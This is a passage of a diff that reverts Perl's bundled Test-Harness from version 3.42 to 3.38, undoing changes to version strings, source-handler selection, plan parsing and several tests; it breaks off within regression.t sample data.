index 2022220aaaff..3416775c2f33 100644
--- a/cpan/Test-Harness/lib/TAP/Formatter/Session.pm
+++ b/cpan/Test-Harness/lib/TAP/Formatter/Session.pm
@@ -23,11 +23,11 @@ TAP::Formatter::Session - Abstract base class for harness output delegate
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 METHODS
 
diff --git a/cpan/Test-Harness/lib/TAP/Harness.pm b/cpan/Test-Harness/lib/TAP/Harness.pm
index a2f6daf1dbde..e65b9b175e6f 100644
--- a/cpan/Test-Harness/lib/TAP/Harness.pm
+++ b/cpan/Test-Harness/lib/TAP/Harness.pm
@@ -16,11 +16,11 @@ TAP::Harness - Run test scripts with statistics
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 $ENV{HARNESS_ACTIVE}  = 1;
 $ENV{HARNESS_VERSION} = $VERSION;
diff --git a/cpan/Test-Harness/lib/TAP/Harness/Env.pm b/cpan/Test-Harness/lib/TAP/Harness/Env.pm
index 077626df2deb..842d9d79611b 100644
--- a/cpan/Test-Harness/lib/TAP/Harness/Env.pm
+++ b/cpan/Test-Harness/lib/TAP/Harness/Env.pm
@@ -7,7 +7,7 @@ use constant IS_VMS => ( $^O eq 'VMS' );
 use TAP::Object;
 use Text::ParseWords qw/shellwords/;
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 # Get the parts of @INC which are changed from the stock list AND
 # preserve reordering of stock directories.
@@ -126,7 +126,7 @@ TAP::Harness::Env - Parsing harness related environmental variables where approp
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Object.pm b/cpan/Test-Harness/lib/TAP/Object.pm
index e9da17f4ff1d..c500c4efaef1 100644
--- a/cpan/Test-Harness/lib/TAP/Object.pm
+++ b/cpan/Test-Harness/lib/TAP/Object.pm
@@ -9,11 +9,11 @@ TAP::Object - Base class that provides common functionality to all C mod
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser.pm b/cpan/Test-Harness/lib/TAP/Parser.pm
index 34f411048e38..8c1277434820 100644
--- a/cpan/Test-Harness/lib/TAP/Parser.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser.pm
@@ -27,11 +27,11 @@ TAP::Parser - Parse L output
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 my $DEFAULT_TAP_VERSION = 12;
 my $MAX_TAP_VERSION     = 13;
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Aggregator.pm b/cpan/Test-Harness/lib/TAP/Parser/Aggregator.pm
index 65be445f308a..ccf7b1ca8091 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Aggregator.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Aggregator.pm
@@ -12,11 +12,11 @@ TAP::Parser::Aggregator - Aggregate TAP::Parser results
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Grammar.pm b/cpan/Test-Harness/lib/TAP/Parser/Grammar.pm
index ff0f2aa2ad76..3add11d1514f 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Grammar.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Grammar.pm
@@ -14,11 +14,11 @@ TAP::Parser::Grammar - A grammar for the Test Anything Protocol.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
@@ -178,7 +178,7 @@ my %language_for;
     my %v13 = (
         %v12,
         plan => {
-            syntax  => qr/^1\.\.(\d+)\s*(?:\s*#\s*SKIP\b(.*))?\z/i,
+            syntax  => qr/^1\.\.(\d+)(?:\s*#\s*SKIP\b(.*))?\z/i,
             handler => sub {
                 my ( $self, $line ) = @_;
                 my ( $tests_planned, $explanation ) = ( $1, $2 );
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Iterator.pm b/cpan/Test-Harness/lib/TAP/Parser/Iterator.pm
index fab48cb2bed2..591cf466607a 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Iterator.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Iterator.pm
@@ -11,11 +11,11 @@ TAP::Parser::Iterator - Base class for TAP source iterators
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Iterator/Array.pm b/cpan/Test-Harness/lib/TAP/Parser/Iterator/Array.pm
index 5a098cca7c06..0cef55fcfe52 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Iterator/Array.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Iterator/Array.pm
@@ -11,11 +11,11 @@ TAP::Parser::Iterator::Array - Iterator for array-based TAP sources
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Iterator/Process.pm b/cpan/Test-Harness/lib/TAP/Parser/Iterator/Process.pm
index a121485aec44..f9126b398400 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Iterator/Process.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Iterator/Process.pm
@@ -16,11 +16,11 @@ TAP::Parser::Iterator::Process - Iterator for process-based TAP sources
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Iterator/Stream.pm b/cpan/Test-Harness/lib/TAP/Parser/Iterator/Stream.pm
index 2a21485357fa..a10e5937a44e 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Iterator/Stream.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Iterator/Stream.pm
@@ -11,11 +11,11 @@ TAP::Parser::Iterator::Stream - Iterator for filehandle-based TAP sources
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
@@ -90,16 +90,6 @@ sub _finish {
     close delete $self->{fh};
 }
 
-sub get_select_handles {
-    my $self = shift;
-
-    # return our handle in case it's a socket or pipe (select()-able)
-    return ( $self->{fh}, )
-        if (-S $self->{fh} || -p $self->{fh});
-
-    return;
-}
-
 1;
 
 =head1 ATTRIBUTION
diff --git a/cpan/Test-Harness/lib/TAP/Parser/IteratorFactory.pm b/cpan/Test-Harness/lib/TAP/Parser/IteratorFactory.pm
index cd677028bd86..f2fe33e25a90 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/IteratorFactory.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/IteratorFactory.pm
@@ -16,11 +16,11 @@ TAP::Parser::IteratorFactory - Figures out which SourceHandler objects to use fo
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
@@ -243,14 +243,19 @@ sub detect_source {
     confess('no raw source ref defined!') unless defined $source->raw;
 
     # find a list of handlers that can handle this source:
-    my %confidence_for;
-    for my $handler ( @{ $self->handlers } ) {
-        my $confidence = $handler->can_handle($source);
-        # warn "handler: $handler: $confidence\n";
-        $confidence_for{$handler} = $confidence if $confidence;
+    my %handlers;
+    for my $dclass ( @{ $self->handlers } ) {
+        my $confidence = $dclass->can_handle($source);
+
+        # warn "handler: $dclass: $confidence\n";
+        $handlers{$dclass} = $confidence if $confidence;
     }
 
-    if ( !%confidence_for ) {
+    if ( !%handlers ) {
+
+        # use Data::Dump qw( pp );
+        # warn pp( $meta );
+
         # error: can't detect source
         my $raw_source_short = substr( ${ $source->raw }, 0, 50 );
         confess("Cannot detect source of '$raw_source_short'!");
@@ -258,30 +263,23 @@ sub detect_source {
     }
 
     # if multiple handlers can handle it, choose the most confident one
-    my @handlers =
-          sort { $confidence_for{$b} <=> $confidence_for{$a} }
-          keys %confidence_for;
-
-    # Check for a tie.
-    if( @handlers > 1 &&
-        $confidence_for{$handlers[0]} == $confidence_for{$handlers[1]}
-    ) {
-        my $filename = $source->meta->{file}{basename};
-        die("There is a tie between $handlers[0] and $handlers[1].\n".
-            "Both voted $confidence_for{$handlers[0]} on $filename.\n");
-    }
+    my @handlers = (
+        map    {$_}
+          sort { $handlers{$a} cmp $handlers{$b} }
+          keys %handlers
+    );
 
     # this is really useful for debugging handlers:
     if ( $ENV{TAP_HARNESS_SOURCE_FACTORY_VOTES} ) {
         warn(
             "votes: ",
-            join( ', ', map {"$_: $confidence_for{$_}"} @handlers ),
+            join( ', ', map {"$_: $handlers{$_}"} @handlers ),
             "\n"
         );
     }
 
     # return 1st
-    return $handlers[0];
+    return pop @handlers;
 }
 
 1;
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Multiplexer.pm b/cpan/Test-Harness/lib/TAP/Parser/Multiplexer.pm
index 16af2d308541..86298c7b1196 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Multiplexer.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Multiplexer.pm
@@ -17,11 +17,11 @@ TAP::Parser::Multiplexer - Multiplex multiple TAP::Parsers
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Result.pm b/cpan/Test-Harness/lib/TAP/Parser/Result.pm
index c8927968dbe5..4ec808deb0a2 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Result.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Result.pm
@@ -24,11 +24,11 @@ TAP::Parser::Result - Base class for TAP::Parser output objects
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Result/Bailout.pm b/cpan/Test-Harness/lib/TAP/Parser/Result/Bailout.pm
index facae6fe8e4f..fb0684fabfee 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Result/Bailout.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Result/Bailout.pm
@@ -11,11 +11,11 @@ TAP::Parser::Result::Bailout - Bailout result token.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Result/Comment.pm b/cpan/Test-Harness/lib/TAP/Parser/Result/Comment.pm
index 0f99b57b08e1..8ffe79a73a2d 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Result/Comment.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Result/Comment.pm
@@ -11,11 +11,11 @@ TAP::Parser::Result::Comment - Comment result token.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Result/Plan.pm b/cpan/Test-Harness/lib/TAP/Parser/Result/Plan.pm
index 9db060e90df7..fb94d62047a5 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Result/Plan.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Result/Plan.pm
@@ -11,11 +11,11 @@ TAP::Parser::Result::Plan - Plan result token.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Result/Pragma.pm b/cpan/Test-Harness/lib/TAP/Parser/Result/Pragma.pm
index c7a26beeedd6..fdc2d5402365 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Result/Pragma.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Result/Pragma.pm
@@ -11,11 +11,11 @@ TAP::Parser::Result::Pragma - TAP pragma token.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Result/Test.pm b/cpan/Test-Harness/lib/TAP/Parser/Result/Test.pm
index b3bd224c16f2..143a936f7ca0 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Result/Test.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Result/Test.pm
@@ -11,11 +11,11 @@ TAP::Parser::Result::Test - Test result token.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Result/Unknown.pm b/cpan/Test-Harness/lib/TAP/Parser/Result/Unknown.pm
index d735ed165acd..a476896d576d 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Result/Unknown.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Result/Unknown.pm
@@ -11,11 +11,11 @@ TAP::Parser::Result::Unknown - Unknown result token.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Result/Version.pm b/cpan/Test-Harness/lib/TAP/Parser/Result/Version.pm
index 5f4cb932bd30..db9f40faf702 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Result/Version.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Result/Version.pm
@@ -11,11 +11,11 @@ TAP::Parser::Result::Version - TAP syntax version token.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Result/YAML.pm b/cpan/Test-Harness/lib/TAP/Parser/Result/YAML.pm
index a88b8da1f7ea..3cc4fe6bfe0b 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Result/YAML.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Result/YAML.pm
@@ -11,11 +11,11 @@ TAP::Parser::Result::YAML - YAML result token.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/ResultFactory.pm b/cpan/Test-Harness/lib/TAP/Parser/ResultFactory.pm
index 27776ea05c76..036006fa6222 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/ResultFactory.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/ResultFactory.pm
@@ -29,11 +29,11 @@ TAP::Parser::ResultFactory - Factory for creating TAP::Parser output objects
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head2 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Scheduler.pm b/cpan/Test-Harness/lib/TAP/Parser/Scheduler.pm
index e13d68e087ba..a00486f97c9d 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Scheduler.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Scheduler.pm
@@ -13,11 +13,11 @@ TAP::Parser::Scheduler - Schedule tests during parallel testing
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
@@ -87,7 +87,7 @@ Here are some examples:
                ],
     }
 
-    # Run some  startup tests in sequence, then some parallel tests then some
+    # Run some  startup tests in sequence, then some parallel tests than some
     # teardown tests in sequence.
     {
         seq => [
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Scheduler/Job.pm b/cpan/Test-Harness/lib/TAP/Parser/Scheduler/Job.pm
index b765ab27b0e1..4ae86fba0306 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Scheduler/Job.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Scheduler/Job.pm
@@ -10,11 +10,11 @@ TAP::Parser::Scheduler::Job - A single testing job.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Scheduler/Spinner.pm b/cpan/Test-Harness/lib/TAP/Parser/Scheduler/Spinner.pm
index 47bc28fc9135..a8fb21c8c811 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Scheduler/Spinner.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Scheduler/Spinner.pm
@@ -10,11 +10,11 @@ TAP::Parser::Scheduler::Spinner - A no-op job.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/Source.pm b/cpan/Test-Harness/lib/TAP/Parser/Source.pm
index 5bd85e37f71f..b1c09fe5f2a8 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/Source.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/Source.pm
@@ -14,11 +14,11 @@ TAP::Parser::Source - a TAP source & meta data about it
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/SourceHandler.pm b/cpan/Test-Harness/lib/TAP/Parser/SourceHandler.pm
index 0156b99fd68b..8ed24785c377 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/SourceHandler.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/SourceHandler.pm
@@ -12,11 +12,11 @@ TAP::Parser::SourceHandler - Base class for different TAP source handlers
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Executable.pm b/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Executable.pm
index 376e8d148d89..4b1f3de02f25 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Executable.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Executable.pm
@@ -16,11 +16,11 @@ TAP::Parser::SourceHandler::Executable - Stream output from an executable TAP so
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/File.pm b/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/File.pm
index 7e1843759e8f..49b6c2363095 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/File.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/File.pm
@@ -16,11 +16,11 @@ TAP::Parser::SourceHandler::File - Stream TAP from a text file.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
@@ -71,8 +71,7 @@ sub can_handle {
     return 0.9 if $file->{lc_ext} eq '.tap';
 
     if ( my $exts = $config->{extensions} ) {
-        my @exts = ref $exts eq 'ARRAY' ? @$exts : $exts;
-        return 0.9 if grep { lc($_) eq $file->{lc_ext} } @exts;
+        return 0.9 if grep { lc($_) eq $file->{lc_ext} } @$exts;
     }
 
     return 0;
diff --git a/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Handle.pm b/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Handle.pm
index a0a051340f70..0c74d4448c69 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Handle.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Handle.pm
@@ -16,11 +16,11 @@ TAP::Parser::SourceHandler::Handle - Stream TAP from an IO::Handle or a GLOB.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Perl.pm b/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Perl.pm
index c2ea252ec2ab..dea39043c662 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Perl.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Perl.pm
@@ -21,11 +21,11 @@ TAP::Parser::SourceHandler::Perl - Stream TAP from a Perl executable
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/RawTAP.pm b/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/RawTAP.pm
index 2ef77118bc86..f6fc0675b380 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/RawTAP.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/RawTAP.pm
@@ -16,11 +16,11 @@ TAP::Parser::SourceHandler::RawTAP - Stream output from raw TAP in a scalar/arra
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/YAMLish/Reader.pm b/cpan/Test-Harness/lib/TAP/Parser/YAMLish/Reader.pm
index 1a8185eb6b5b..1bcaa186ad4e 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/YAMLish/Reader.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/YAMLish/Reader.pm
@@ -5,7 +5,7 @@ use warnings;
 
 use base 'TAP::Object';
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 # TODO:
 #   Handle blessed object syntax
@@ -269,7 +269,7 @@ TAP::Parser::YAMLish::Reader - Read YAMLish data from iterator
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/TAP/Parser/YAMLish/Writer.pm b/cpan/Test-Harness/lib/TAP/Parser/YAMLish/Writer.pm
index 904244ae110e..eb0afea2c3dc 100644
--- a/cpan/Test-Harness/lib/TAP/Parser/YAMLish/Writer.pm
+++ b/cpan/Test-Harness/lib/TAP/Parser/YAMLish/Writer.pm
@@ -5,7 +5,7 @@ use warnings;
 
 use base 'TAP::Object';
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 my $ESCAPE_CHAR = qr{ [ \x00-\x1f \" ] }x;
 my $ESCAPE_KEY  = qr{ (?: ^\W ) | $ESCAPE_CHAR }x;
@@ -146,7 +146,7 @@ TAP::Parser::YAMLish::Writer - Write YAMLish data
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =head1 SYNOPSIS
 
diff --git a/cpan/Test-Harness/lib/Test/Harness.pm b/cpan/Test-Harness/lib/Test/Harness.pm
index 6cce46e3b622..3ec34931cee7 100644
--- a/cpan/Test-Harness/lib/Test/Harness.pm
+++ b/cpan/Test-Harness/lib/Test/Harness.pm
@@ -31,11 +31,11 @@ Test::Harness - Run Perl standard test scripts with statistics
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 # Backwards compatibility for exportable variable names.
 *verbose  = *Verbose;
diff --git a/cpan/Test-Harness/t/env_opts.t b/cpan/Test-Harness/t/env_opts.t
deleted file mode 100644
index 24b7c4e35d72..000000000000
--- a/cpan/Test-Harness/t/env_opts.t
+++ /dev/null
@@ -1,66 +0,0 @@
-#!/usr/bin/perl
-
-use strict;
-use warnings;
-use Test::More tests => 16;
-
-use TAP::Harness::Env;
-
-sub _has_module {
-    my $module = shift;
-    eval "use $module";
-    return $@ ? 0 : 1;
-}
-
-{
-
-    # Should add a fake home dir? to test the rc stuff..
-    local $ENV{HARNESS_OPTIONS} = 'j4:c';
-
-    ok my $harness = TAP::Harness::Env->create, 'made harness';
-    is( $harness->color, 1, "set color correctly" );
-    is( $harness->jobs,  4, "set jobs correctly" );
-}
-SKIP: {
-    skip "requires TAP::Formatter::HTML", 4
-      unless _has_module('TAP::Formatter::HTML');
-    skip "requires TAP::Formatter::HTML 0.10 or higher", 4
-        unless TAP::Formatter::HTML->VERSION >= .10;
-
-    local $ENV{HARNESS_OPTIONS} = 'j4:c:fTAP-Formatter-HTML';
-
-    ok my $harness = TAP::Harness::Env->create, 'made harness';
-    is( $harness->color, 1, "set color correctly" );
-    is( $harness->jobs,  4, "set jobs correctly" );
-    is( $harness->formatter_class, "TAP::Formatter::HTML",
-        "correct formatter" );
-
-}
-SKIP: {
-    skip "requires TAP::Harness::Archive", 5
-      unless _has_module('TAP::Harness::Archive');
-
-    # Test archive
-    local $ENV{HARNESS_OPTIONS} = 'j4:c:a/archive.tgz';
-
-    ok my $harness = TAP::Harness::Env->create, 'made harness';
-    is( $harness->color, 1, "set color correctly" );
-    is( $harness->jobs,  4, "set jobs correctly" );
-    isa_ok( $harness, "TAP::Harness::Archive", "correct harness subclass" );
-
-    # XXX: this is nasty :(
-    is( $harness->{__archive_file}, "/archive.tgz", "correct archive found" );
-
-}
-
-{
-    local $ENV{HARNESS_TIMER} = 0;
-    ok my $harness = TAP::Harness::Env->create, 'made harness';
-    ok !$harness->timer, 'timer set via HARNESS_TIMER';
-}
-
-{
-    local $ENV{HARNESS_TIMER} = 1;
-    ok my $harness = TAP::Harness::Env->create, 'made harness';
-    ok $harness->timer, 'timer set via HARNESS_TIMER';
-}
diff --git a/cpan/Test-Harness/t/iterator_factory.t b/cpan/Test-Harness/t/iterator_factory.t
index 85cc23322c16..4e16201e4361 100644
--- a/cpan/Test-Harness/t/iterator_factory.t
+++ b/cpan/Test-Harness/t/iterator_factory.t
@@ -10,7 +10,7 @@ BEGIN {
 use strict;
 use warnings;
 
-use Test::More tests => 44;
+use Test::More tests => 42;
 
 use IO::File;
 use File::Spec;
@@ -124,9 +124,6 @@ my @sources = (
         handler  => 'TAP::Parser::SourceHandler::Handle',
         iterator => 'TAP::Parser::Iterator::Stream',
     },
-    {   file     => 'test.tap',
-        tie      => 1,
-    },
 );
 
 for my $test (@sources) {
@@ -144,18 +141,10 @@ for my $test (@sources) {
     my $source   = TAP::Parser::Source->new->raw( ref($raw) ? $raw : \$raw );
     my $iterator = eval { $sf->make_iterator($source) };
     my $error    = $@;
+    ok( !$error, "$name: no error on make_iterator" );
+    diag($error) if $error;
 
-    if( $test->{tie} ) {
-        like(
-            $error, qr{^There is a tie.*Both voted .* on $test->{file}}ms,
-            "$name: votes tied"
-        )
-    }
-    else {
-        ok( !$error, "$name: no error on make_iterator" );
-        diag($error) if $error;
-    }
-
+    #    isa_ok( $iterator, $test->{iterator}, $name );
     is( $sf->_last_handler, $test->{handler}, $name );
 }
 
diff --git a/cpan/Test-Harness/t/lib/MyFileSourceHandler.pm b/cpan/Test-Harness/t/lib/MyFileSourceHandler.pm
index 6cef9f10b661..f8899a5c9179 100644
--- a/cpan/Test-Harness/t/lib/MyFileSourceHandler.pm
+++ b/cpan/Test-Harness/t/lib/MyFileSourceHandler.pm
@@ -20,7 +20,7 @@ sub can_handle {
     my $class = shift;
     $class->SUPER::can_handle(@_);
     $CAN_HANDLE++;
-    return 1;
+    return $class;
 }
 
 sub make_iterator {
diff --git a/cpan/Test-Harness/t/nofork-mux.t b/cpan/Test-Harness/t/nofork-mux.t
index baf17722efd5..6712eb9f890b 100644
--- a/cpan/Test-Harness/t/nofork-mux.t
+++ b/cpan/Test-Harness/t/nofork-mux.t
@@ -8,4 +8,4 @@ use strict;
 use warnings;
 
 use NoFork;
-require('./t/multiplexer.t');
+require('t/multiplexer.t');
diff --git a/cpan/Test-Harness/t/regression.t b/cpan/Test-Harness/t/regression.t
index 2daa375f8166..7e1388e3527a 100644
--- a/cpan/Test-Harness/t/regression.t
+++ b/cpan/Test-Harness/t/regression.t
@@ -383,85 +383,6 @@ my %samples = (
         wait          => 0,
         version       => 12,
     },
-    space_after_plan_v13 => {
-        results => [
-            {   is_version => TRUE,
-                raw        => 'TAP version 13',
-            },
-            {   is_plan       => TRUE,
-                raw           => '1..5 ',
-                tests_planned => 5,
-                passed        => TRUE,
-                is_ok         => TRUE,
-            },
-            {   actual_passed => TRUE,
-                is_actual_ok  => TRUE,
-                passed        => TRUE,
-                is_ok         => TRUE,
-                is_test       => TRUE,
-                has_skip      => FALSE,
-                has_todo      => FALSE,
-                number        => 1,
-                description   => "",
